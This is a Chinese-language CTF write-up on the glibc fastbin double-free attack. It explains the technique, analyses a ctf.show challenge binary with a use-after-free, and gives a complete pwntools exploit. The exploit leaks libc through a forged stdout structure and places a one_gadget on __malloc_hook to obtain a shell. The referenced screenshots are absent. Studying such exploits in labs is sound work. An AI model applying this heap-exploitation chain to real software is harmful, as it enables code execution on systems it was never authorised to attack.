常回家看看之fastbin_attack

原理分析

fastbin属于小堆块的管理，这里说的fastbin_attack大多指glibc2.26之前的手法，因为自glibc2.26以后，glibc迎来了一位新成员tcachebin，它减少了堆的开销，使堆管理变得迅速而高效，而且申请的小堆块会优先进入tachebin中，只有tachebin其中一个链表满了再次申请一个相同大小的堆块，若是小堆块再次free会进入fastbin中。

下面主要看一下fastbin，在glibc2.26以前对fastbin double free的检查没有那么严格，也就是说，如果程序里面有UAF漏洞，我们只要free第一个堆块之后free一个别的堆块，再次free第一个堆块，导致double free，实现堆块的伪造和堆块重叠。

也就是如下这种情况

在pwngdb里面是这样的

那么下次申请堆块的时候会把chunk0申请走，如果此时修改了chunk0的fd指针那么就导致把fake_chunk加入到fastbin链表中

就是如下这种情况

那么就可以实现堆块重叠

例题演示

题目保护情况

64位ida逆向

菜单

add函数，存在堆块数量上限，申请堆块之前申请了一个0x28大小的控制堆块，在控制堆块+8位置写上数据堆块地址，然后最后可以向控制堆块+16处的地址可以输入23字节的数据

free函数，存在UAF漏洞，及可以double free

show函数，没有实际的功能

分析

程序没有show功能，我们申请堆块的时候先申请到的控制堆块，然后才是自己输入的size的堆块，但是大小有限制导致不难申请到unsortbin范围大小的chunk，但是我们可以向控制堆块输入内容，导致可以伪造chunk的size位，泄露libc地址只能位置堆块实现堆块重叠，程序存在UAF漏洞，可以double free 从而可以伪造堆块，修改size为unsortbin 大小的范围然后free掉堆块

此时堆块情况

但是此时堆块size位为0x91，申请堆块的时候fastbin有检查，因此我们要复原堆块的size，但是由于没有show功能，所以可以申请堆块到IO结构体上，修改_IO_write_base 导致泄露libc地址，远程的话需要爆破高字节。

堆块7为了防止申请堆块的时候控制堆块切割unsortbin chunk。

然后用同样的手法在__malloc_hook 和 _realloc_hook布置上one_gadget，即可拿到shell

EXP

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
​
io = process('../pwn162')
#io = remote('pwn.challenge.ctf.show', 28304)
libc = ELF('/home/su/PWN/VIPshow/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
​
def Add(size,name,msg=8 * b'\x00' + p64(0x71) + b'\x00' * 7):
    io.sendlineafter("Your choice : ", '1')
    io.sendlineafter("size of the daniu's name: \n", str(size))
    io.sendafter("daniu's name:\n", name)
    io.sendlineafter("daniu's message:\n", msg)
​
​
​
​
def Delete(idx):
    io.sendlineafter("Your choice : ", '3')
    io.sendlineafter("daniu's index:\n", str(idx))
    io.recvline()
​
​
Add(0x60, 14 * p64(0x71))  # 0
Add(0x60, 14 * p64(0x71))  # 1
#gdb.attach(io)
Delete(0)
Delete(1)
Delete(0)
gdb.attach(io)
Add(0x60, '\x20')  # 2
Add(0x60, '\x20')  # 3
Add(0x60, '\x20')  # 4
Add(0x60, p64(0) + p64(0x71))  # 5
#gdb.attach(io)
Delete(0)
Delete(5)
Add(0x60, p64(0) + p64(0x91))  # 6
Add(0x20, 'bbbb')  # 7
Delete(0)
Delete(5)
Delete(7)
Add(0x60, p64(0) + p64(0x71) + b'\xdd\x45')  # 8
#gdb.attach(io)
Delete(7)
Add(0x60, 'deadbeef')  # 9
Delete(7)
#gdb.attach(io)
io.sendlineafter("Your choice : ", '1')
io.sendlineafter("size of the daniu's name: \n", str(0x60))
io.sendafter("daniu's name:\n", 0x33 * b'\x00' + p64(0x0FBAD1887) + p64(0) * 3 + b'\x58')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x3c46a3
success('libc_base---->'+hex(libc_base))
pause()
malloc_hook = libc_base +libc.sym['__malloc_hook']
one = libc_base + 0xf1147
realloc  = libc_base   + libc.sym['__realloc_hook']
​
​
​
#gdb.attach(io)
io.sendline('a')
Delete(5)
Delete(0)
Delete(5)
​
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
Delete(7)
Add(0x60,p64(malloc_hook -0x23))
​
Delete(7)
payload = b'a'*0xb + p64(one) + p64(realloc) 
#gdb.attach(io)
Add(0x60,payload)
#gdb.attach(io)
io.sendlineafter("Your choice : ", '1')
​
​
​
​
​
io.interactive()
​